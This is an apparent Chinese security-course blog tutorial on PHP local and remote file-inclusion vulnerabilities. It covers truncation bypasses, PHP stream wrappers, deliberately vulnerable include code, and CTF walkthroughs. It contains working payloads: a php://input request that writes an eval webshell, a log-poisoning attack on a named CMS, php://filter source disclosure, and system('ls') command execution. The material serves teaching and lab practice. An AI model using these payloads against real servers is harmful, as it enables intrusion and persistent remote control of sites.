第31天:WEB漏洞-文件操作之文件包含漏洞全解

在这里插入图片描述

文件包含漏洞

0x00 文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

0x01 文件包含漏洞的成因

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能。

在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

0x02 文件包含漏洞的分类

本地文件包含LFI(local file include):当被包含的文件在服务器本地时,就形成本地文件包含
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8000/include.php?filename=../../../www.txt

在这里插入图片描述

无限制:
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

没有限制文件类型

有限制:
<?php
    $filename  = $_GET['filename'];
    include($filename.".html");
?>

这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。

绕过方式
%00截断
条件:
  • php版本< 5.3.4 ;
  • php的magic_quotes_gpc为OFF状态

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

长度截断

Windows以及Linux系统文件、文件夹命名规则 - Mrnx - 博客园 (cnblogs.com)

条件:
  • windows点号长度大于256;
  • linux大于4096(文件路径长度)

http://127.0.0.1/include.php?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

在这里插入图片描述

http://127.0.0.1/include.php?filename=phpinfo.php…

在这里插入图片描述

特殊符号截断
%23
%20
?截断
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?

远程文件包含RFI(remote file include):当被包含的文件在第三方服务器时,叫做远程文件包含。

这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。

http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt?
PHP伪协议
事实就是支持的协议和封装的协议12种
file:// - 访问本地文件系统
http:// - 访问http网站
ftp:// - 访问FTP(s)URLS
php:// - 访问各个输入输出流
zlib:// - 压缩流
data:// - 数据(RFC 2397)
glob:// -查找匹配的文件路径模型
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// - 音频流
expect:// - 处理交互式的流
php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

更多详细的内容,参见php伪协议

在这里插入图片描述

常见函数
PHP
  • include()

  • 当使用include()函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

  • include_once()

  • include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true

  • include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

  • require()

  • 当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。

  • require_once()

  • require_once表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

文件包含各脚本代码 asp,php,jsp,aspx等
<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

演示案例:

本地文件包含代码测试-原理

远程文件包含代码测试-原理

各种协议流提交流测试-协议

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

注:当enctype=”multipart/form-data”时,php://input是无效的。

在这里插入图片描述

写入一句话木马用法

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在这里插入图片描述

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。

用法:

[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

在这里插入图片描述

http://、https://

URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。

用法:

[http:``//网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

在这里插入图片描述

php://filter

读取文件源码用法

php:``//filter/read=convert.base64-encode/resource=[文件名]
http:``//127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

在这里插入图片描述

在这里插入图片描述

某 CMS 程序文件包含利用-黑盒

cms下载地址:
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao

安装成功后
本地包含一句话木马

http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}

请添加图片描述

会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日
请添加图片描述
请添加图片描述
进行包含错误日志,地址:

http://127.0.0.1/ekucms/s=my/show/id/\..\temp\Logs\22_03_18.log

请添加图片描述
蚁剑连接

请添加图片描述

CTF-南邮大,i 春秋百度杯真题-白盒

php://filter/read=convert.base64-encode/resource=index.php
base64decode后获得

<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

请添加图片描述

http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://in
put
Post:<?php system('ls');?>
请添加图片描述

http://eci-2ze9jhti3uz65oa1lq15.cloudeci1.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
请添加图片描述

请添加图片描述

涉及资源:

http://4.chinalover.sinaapp.com/web7/index.php
https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF–xxmoKAvDJ8mRsw 提取码:xiao

<?php
$filename=$_GET['filename'];
include($filename);
/*
$filename=$_GET['filename'];
include($filename.".html");
*/
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值